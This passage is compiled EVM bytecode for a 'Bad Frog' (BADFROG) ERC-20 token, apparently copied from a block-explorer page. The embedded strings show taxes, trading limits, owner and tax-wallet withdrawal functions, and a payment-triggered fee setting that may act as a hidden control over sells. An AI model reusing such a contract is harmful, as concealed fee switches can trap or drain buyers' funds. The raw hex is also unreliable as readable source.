877ef916994a16ec08813101e99ace65f3082604051610529929190613017565b60405180910390a15b5f4790505f8111156105485761054781610af5565b5b50506105c2565b8286036105c1575f601a5f6101000a81548160ff02191690831515021790555060016016806101000a81548160ff0219169083151502179055507f0b6cb93c2313ef2aa448b70648036bbfd18be64a8bf85446716a82182ec6907a5f6040516105b89190612fbf565b60405180910390a15b5b5b5b005b5f80fd5b3480156105d5575f80fd5b506105de610b5d565b6040516105eb91906130ae565b60405180910390f35b3480156105ff575f80fd5b5061061a60048036038101906106159190613126565b610b9a565b6040516106279190612fbf565b60405180910390f35b34801561063b575f80fd5b50610644610bb7565b6040516106519190612f8c565b60405180910390f35b348015610665575f80fd5b5061066e610bbd565b005b34801561067b575f80fd5b50610684610c91565b6040516106919190612f8c565b60405180910390f35b3480156106a5575f80fd5b506106c060048036038101906106bb9190613164565b610cb4565b6040516106cd9190612fbf565b60405180910390f35b3480156106e1575f80fd5b506106ea610d88565b6040516106f791906131cf565b60405180910390f35b34801561070b575f80fd5b50610714610d90565b005b348015610721575f80fd5b5061073c600480360381019061073791906131e8565b610a52565b6040516107499190612f8c565b60405180910390f35b34801561075d575f80fd5b50610766610ebf565b005b348015610773575f80fd5b5061077c61100d565b6040516107899190612f8c565b60405180910390f35b34801561079d575f80fd5b506107a6611013565b6040516107b39190613213565b60405180910390f35b3480156107c7575f80fd5b506107d061103a565b6040516107dd9190612f8c565b60405180910390f35b3480156107f1575f80fd5b506107fa611040565b60405161080791906130ae565b60405180910390f35b34801561081b575f80fd5b5061082461107d565b6040516108319190612fbf565b60405180910390f35b348015610845575f80fd5b50610860600480360381019061085b9190613126565b6110ab565b60405161086d9190612fbf565b60405180910390f35b348015610881575f80fd5b5061089c60048036038101906108979190613126565b61126a565b6040516108a99190612fbf565b60405180910390f35b3480156108bd575f80fd5b506108c6611287565b6040516108d39190612f8c565b60405180910390f35b3480156108e7575f80fd5b506108f0611290565b6040516108fd9190612f8c565b60405180910390f35b348015610911575f80fd5b5061092c6004803603810190610927919061322c565b611296565b005b348015610939575f80fd5b50610942611322565b60405161094f9190612fbf565b60405180910390f35b348015610963575f80fd5b5061096c611337565b005b348015610979575f80fd5b50610994600480360381019061098f9190613257565b611990565b6040516109a19190612f8c565b60405180910390f35b3480156109b5575f80fd5b506109be611a12565b005b5f610a0183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ac3565b905092915050565b5f610a4a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b25565b905092915050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f808284610aa69190612f09565b905083811015610aeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae2906132df565b60405180910390fd5b8091505092915050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015610b59573d5f803e3d5ffd5b5050565b60606040518060400160405280600881526020017f4261642046726f67000000000000000000000000000000000000000000000000815250905090565b5f610bad610ba6611b86565b8484611b8d565b6001905092915050565b60115481565b610bc5611b86565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4890613347565b60405180910390fd5b5f600c819055507fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de35f604051610c8791906133a7565b60405180910390a1565b5f6009600a610ca091906134ef565b633b9aca00610caf9190612f3c565b905090565b5f610cc0848484611d50565b610d7d84610ccc611b86565b610d78856040518060600160405280602881526020016140a26028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610d2f611b86565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611ac39092919063ffffffff16565b611b8d565b600190509392505050565b5f6009905090565b610d98611b86565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1b90613347565b60405180910390fd5b6009600a610e3291906134ef565b633b9aca00610e419190612f3c565b600e819055506009600a610e5591906134ef565b633b9aca00610e649190612f3c565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610e9991906134ef565b633b9aca00610ea89190612f3c565b604051610eb59190612f8c565b60405180910390a1565b610ec7611b86565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4a90613347565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600e5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f5481565b60606040518060400160405280600781526020017f42414446524f4700000000000000000000000000000000000000000000000000815250905090565b5f60125f9054906101000a900460ff1680156110a65750601260019054906101000a900460ff16155b905090565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110ec611b86565b73ffffffffffffffffffffffffffffffffffffffff161461110b575f80fd5b5f820361118d578273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161114b9190613213565b602060405180830381865afa158015611166573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061118a919061354d565b91505b7fda2bc2bedd1f85b5a59d5dbbd6684ff877ef916994a16ec08813101e99ace65f83836040516111be929190613017565b60405180910390a18273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b81526004016112229291906135ca565b6020604051808303815f875af115801561123e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611262919061361b565b905092915050565b5f61127d611276611b86565b8484611d50565b6001905092915050565b5f601454905090565b60105481565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112d6611b86565b73ffffffffffffffffffffffffffffffffffffffff16146112f5575f80fd5b600754811115801561130957506008548111155b611311575f80fd5b806007819055508060088190555050565b5f601a5f9054906101000a900460ff16905090565b61133f611b86565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c290613347565b60405180910390fd5b601660149054906101000a900460ff161561141b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141290613690565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60155f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506114b73060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6114a391906134ef565b633b9aca006114b29190612f3c565b611b8d565b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611521573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061154591906136c2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115cb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115ef91906136c2565b6040518363ffffffff1660e01b815260040161160c9291906136ed565b6020604051808303815f875af1158015611628573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061164c91906136c2565b60165f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f61169530610a52565b90505f6116c060646116b260055485612bd990919063ffffffff16565b610a0990919063ffffffff16565b90505f6116d682846109c090919063ffffffff16565b90505f831161171a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171190613784565b60405180910390fd5b5f471161175c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175390613812565b60405180910390fd5b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730845f806117a6611013565b426040518863ffffffff1660e01b81526004016117c896959493929190613830565b60606040518083038185885af11580156117e4573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611809919061388f565b50505060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016118a9929190613017565b6020604051808303815f875af11580156118c5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906118e9919061361b565b5060016016806101000a81548160ff0219169083151502179055506001601660146101000a81548160ff021916908315150217905550436019819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119839190612f8c565b60405180910390a3505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611a52611b86565b73ffffffffffffffffffffffffffffffffffffffff1614611a71575f80fd5b5f4790505f8111611ab7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aae9061394f565b60405180910390fd5b611ac081610af5565b50565b5f838311158290611b0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0191906130ae565b60405180910390fd5b505f8385611b18919061396d565b9050809150509392505050565b5f8083118290611b6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6291906130ae565b60405180910390fd5b505f8385611b7991906139cd565b9050809150509392505050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611bfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf290613a6d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6090613afb565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611d439190612f8c565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611dbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db590613b89565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611e2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2390613c17565b60405180910390fd5b5f8111611e6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6590613ca5565b60405180910390fd5b5f601660149054906101000a900460ff16158015611eb757503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611f0f575060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b61292857611f1b611013565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f895750611f59611013565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15612927575f600d5403611fd657611fd36064611fc5600954600d5411611fb257600554611fb6565b6007545b85612bd990919063ffffffff16565b610a0990919063ffffffff16565b90505b5f600d54111561200b576120086064611ffa600c5485612bd990919063ffffffff16565b610a0990919063ffffffff16565b90505b601954430361205a576028600d5410612059576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205090613d0d565b60405180910390fd5b5b60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015612103575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612156575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561224f57600e548211156121a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219790613d75565b60405180910390fd5b600f54826121ad85610a52565b6121b79190612f09565b11156121f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ef90613ddd565b60405180910390fd5b6122356064612227600954600d54101561221457600554612218565b6007545b85612bd990919063ffffffff16565b610a0990919063ffffffff16565b9050600d5f81548092919061224990613dfb565b91905055505b60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156122d757503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15612926575f601354831015905060125f9054906101000a900460ff1680156122fd5750805b80156123165750601260019054906101000a900460ff16155b15612777575f612344606461233660145487612bd990919063ffffffff16565b610a0990919063ffffffff16565b90505f61235a82866109c090919063ffffffff16565b9050612398606461238a600a54600d54116123775760065461237b565b6008545b84612bd990919063ffffffff16565b610a0990919063ffffffff16565b93506123ea8260015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a9890919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516124889190612f8c565b60405180910390a36001601260016101000a81548160ff0219169083151502179055505f60125f6101000a81548160ff0219169083151502179055506125148560015f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109c090919063ffffffff16565b60015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506125b761256b85836109c090919063ffffffff16565b60015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a9890919063ffffffff16565b60015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f8411156126f7576126508460015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a9890919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516126ee9190612f8c565b60405180910390a35b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61275987856109c090919063ffffffff16565b6040516127669190612f8c565b60405180910390a350505050612bd4565b6127b360646127a5600a54600d541161279257600654612796565b6008545b86612bd990919063ffffffff16565b610a0990919063ffffffff16565b91505f6127bf30610a52565b9050601660159054906101000a900460ff1615801561282a575060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b8015612840575060168054906101000a900460ff165b80156128585750601a5f9054906101000a900460ff16155b8015612865575060105481115b80156128745750600b54600d54115b156129235760185443111561288b575f6017819055505b6003601754106128d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128c790613e8c565b60405180910390fd5b6128ed6128e8856128e384601154612c50565b612c50565b612c68565b5f4790505f8111156129035761290281610af5565b5b60175f81548092919061291590613dfb565b919050555043601881905550505b50505b5b5b5f811115612a27576129808160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a9890919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612a1e9190612f8c565b60405180910390a35b612a778260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109c090919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550612b1a612ace82846109c090919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a9890919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef612bbd84866109c090919063ffffffff16565b604051612bca9190612f8c565b60405180910390a3505b505050565b5f808303612be9575f9050612c4a565b5f8284612bf69190612f3c565b9050828482612c0591906139cd565b14612c45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c3c90613f1a565b60405180910390fd5b809150505b92915050565b5f818311612c5e5782612c60565b815b905092915050565b6001601660156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115612c9f57612c9e613f38565b5b604051908082528060200260200182016040528015612ccd5781602001602082028036833780820191505090505b50905030815f81518110612ce457612ce3613f65565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612d88573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612dac91906136c2565b81600181518110612dc057612dbf613f65565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612e263060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611b8d565b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612e88959493929190614049565b5f604051808303815f87803b158015612e9f575f80fd5b505af1158015612eb1573d5f803e3d5ffd5b50505050505f601660156101000a81548160ff02191690831515021790555050565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612f1382612ed3565b9150612f1e83612ed3565b9250828201905080821115612f3657612f35612edc565b5b92915050565b5f612f4682612ed3565b9150612f5183612ed3565b9250828202612f5f81612ed3565b91508282048414831517612f7657612f75612edc565b5b5092915050565b612f8681612ed3565b82525050565b5f602082019050612f9f5f830184612f7d565b92915050565b5f8115159050919050565b612fb981612fa5565b82525050565b5f602082019050612fd25f830184612fb0565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61300182612fd8565b9050919050565b61301181612ff7565b82525050565b5f60408201905061302a5f830185613008565b6130376020830184612f7d565b9392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6130808261303e565b61308a8185613048565b935061309a818560208601613058565b6130a381613066565b840191505092915050565b5f6020820190508181035f8301526130c68184613076565b905092915050565b5f80fd5b6130db81612ff7565b81146130e5575f80fd5b50565b5f813590506130f6816130d2565b92915050565b61310581612ed3565b811461310f575f80fd5b50565b5f81359050613120816130fc565b92915050565b5f806040838503121561313c5761313b6130ce565b5b5f613149858286016130e8565b925050602061315a85828601613112565b9150509250929050565b5f805f6060848603121561317b5761317a6130ce565b5b5f613188868287016130e8565b9350506020613199868287016130e8565b92505060406131aa86828701613112565b9150509250925092565b5f60ff82169050919050565b6131c9816131b4565b82525050565b5f6020820190506131e25f8301846131c0565b92915050565b5f602082840312156131fd576131fc6130ce565b5b5f61320a848285016130e8565b91505092915050565b5f6020820190506132265f830184613008565b92915050565b5f60208284031215613241576132406130ce565b5b5f61324e84828501613112565b91505092915050565b5f806040838503121561326d5761326c6130ce565b5b5f61327a858286016130e8565b925050602061328b858286016130e8565b9150509250929050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6132c9601b83613048565b91506132d482613295565b602082019050919050565b5f6020820190508181035f8301526132f6816132bd565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f613331602083613048565b915061333c826132fd565b602082019050919050565b5f6020820190508181035f83015261335e81613325565b9050919050565b5f819050919050565b5f819050919050565b5f61339161338c61338784613365565b61336e565b612ed3565b9050919050565b6133a181613377565b82525050565b5f6020820190506133ba5f830184613398565b92915050565b5f8160011c9050919050565b5f808291508390505b6001851115613415578086048111156133f1576133f0612edc565b5b60018516156134005780820291505b808102905061340e856133c0565b94506133d5565b94509492505050565b5f8261342d57600190506134e8565b8161343a575f90506134e8565b8160018114613450576002811461345a57613489565b60019150506134e8565b60ff84111561346c5761346b612edc565b5b8360020a91508482111561348357613482612edc565b5b506134e8565b5060208310610133831016604e8410600b84101617156134be5782820a9050838111156134b9576134b8612edc565b5b6134e8565b6134cb84848460016133cc565b925090508184048111156134e2576134e1612edc565b5b81810290505b9392505050565b5f6134f982612ed3565b9150613504836131b4565b92506135317fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461341e565b905092915050565b5f81519050613547816130fc565b92915050565b5f60208284031215613562576135616130ce565b5b5f61356f84828501613539565b91505092915050565b5f61359261358d61358884612fd8565b61336e565b612fd8565b9050919050565b5f6135a382613578565b9050919050565b5f6135b482613599565b9050919050565b6135c4816135aa565b82525050565b5f6040820190506135dd5f8301856135bb565b6135ea6020830184612f7d565b9392505050565b6135fa81612fa5565b8114613604575f80fd5b50565b5f81519050613615816135f1565b92915050565b5f602082840312156136305761362f6130ce565b5b5f61363d84828501613607565b91505092915050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61367a601783613048565b915061368582613646565b602082019050919050565b5f6020820190508181035f8301526136a78161366e565b9050919050565b5f815190506136bc816130d2565b92915050565b5f602082840312156136d7576136d66130ce565b5b5f6136e4848285016136ae565b91505092915050565b5f6040820190506137005f830185613008565b61370d6020830184613008565b9392505050565b7f436f6e7472616374206d75737420686f6c6420746f6b656e7320666f72206c695f8201527f7175696469747900000000000000000000000000000000000000000000000000602082015250565b5f61376e602783613048565b915061377982613714565b604082019050919050565b5f6020820190508181035f83015261379b81613762565b9050919050565b7f436f6e7472616374206d75737420686f6c642045544820666f72206c697175695f8201527f6469747900000000000000000000000000000000000000000000000000000000602082015250565b5f6137fc602483613048565b9150613807826137a2565b604082019050919050565b5f6020820190508181035f830152613829816137f0565b9050919050565b5f60c0820190506138435f830189613008565b6138506020830188612f7d565b61385d6040830187613398565b61386a6060830186613398565b6138776080830185613008565b61388460a0830184612f7d565b979650505050505050565b5f805f606084860312156138a6576138a56130ce565b5b5f6138b386828701613539565b93505060206138c486828701613539565b92505060406138d586828701613539565b9150509250925092565b7f436f6e74726163742062616c616e6365206d75737420626520677265617465725f8201527f207468616e207a65726f00000000000000000000000000000000000000000000602082015250565b5f613939602a83613048565b9150613944826138df565b604082019050919050565b5f6020820190508181035f8301526139668161392d565b9050919050565b5f61397782612ed3565b915061398283612ed3565b925082820390508181111561399a57613999612edc565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6139d782612ed3565b91506139e283612ed3565b9250826139f2576139f16139a0565b5b828204905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f613a57602483613048565b9150613a62826139fd565b604082019050919050565b5f6020820190508181035f830152613a8481613a4b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f613ae5602283613048565b9150613af082613a8b565b604082019050919050565b5f6020820190508181035f830152613b1281613ad9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f613b73602583613048565b9150613b7e82613b19565b604082019050919050565b5f6020820190508181035f830152613ba081613b67565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613c01602383613048565b9150613c0c82613ba7565b604082019050919050565b5f6020820190508181035f830152613c2e81613bf5565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f613c8f602983613048565b9150613c9a82613c35565b604082019050919050565b5f6020820190508181035f830152613cbc81613c83565b9050919050565b7f457863656564732062757973206f6e2074686520666972737420626c6f636b2e5f82015250565b5f613cf7602083613048565b9150613d0282613cc3565b602082019050919050565b5f6020820190508181035f830152613d2481613ceb565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f613d5f601983613048565b9150613d6a82613d2b565b602082019050919050565b5f6020820190508181035f830152613d8c81613d53565b9050919050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f613dc7601a83613048565b9150613dd282613d93565b602082019050919050565b5f6020820190508181035f830152613df481613dbb565b9050919050565b5f613e0582612ed3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613e3757613e36612edc565b5b600182019050919050565b7f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000005f82015250565b5f613e76601783613048565b9150613e8182613e42565b602082019050919050565b5f6020820190508181035f830152613ea381613e6a565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613f04602183613048565b9150613f0f82613eaa565b604082019050919050565b5f6020820190508181035f830152613f3181613ef8565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613fc481612ff7565b82525050565b5f613fd58383613fbb565b60208301905092915050565b5f602082019050919050565b5f613ff782613f92565b6140018185613f9c565b935061400c83613fac565b805f5b8381101561403c5781516140238882613fca565b975061402e83613fe1565b92505060018101905061400f565b5085935050505092915050565b5f60a08201905061405c5f830188612f7d565b6140696020830187613398565b818103604083015261407b8186613fed565b905061408a6060830185613008565b6140976080830184612f7d565b969550505050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c963e2554db0fca970c6d5fdf787d6e78db277aff7724414d00c50009324985664736f6c634300081a0033

Deployed Bytecode

0x60806040526004361061014e575f3560e01c80638f9a55c0116100b5578063bf474bed1161006e578063bf474bed146108dc578063c079c31814610906578063c27fc3051461092e578063c9567bf914610958578063dd62ed3e1461096e578063fcd0598b146109aa576105c6565b80638f9a55c0146107bc57806395d89b41146107e65780639942ec6f14610810578063a42f786e1461083a578063a9059cbb14610876578063aaf05f3d146108b2576105c6565b8063313ce56711610107578063313ce567146106d6578063622565891461070057806370a0823114610716578063715018a6146107525780637d1db4a5146107685780638da5cb5b14610792576105c6565b806306fdde03146105ca578063095ea7b3146105f45780630faee56f14610630578063109daa991461065a57806318160ddd1461067057806323b872dd1461069a576105c6565b366105c6575f3490505f66178df32adc600090505f6629a34724c4800090505f661d8efef488000090505f66071afd498d000090505f6509184e72a000905080826101999190612f09565b86101580156101bf57508060636101b09190612f3c565b826101bb9190612f09565b8611155b1561027c575f6101ea826101dc858a6109c090919063ffffffff16565b610a0990919063ffffffff16565b9050600181101580156101fe575060638111155b156102765780601481905550600160125f6101000a81548160ff0219169083151502179055505f601260016101000a81548160ff0219169083151502179055507fa48a6b249a5084126c3da369fbc9b16827ead8cb5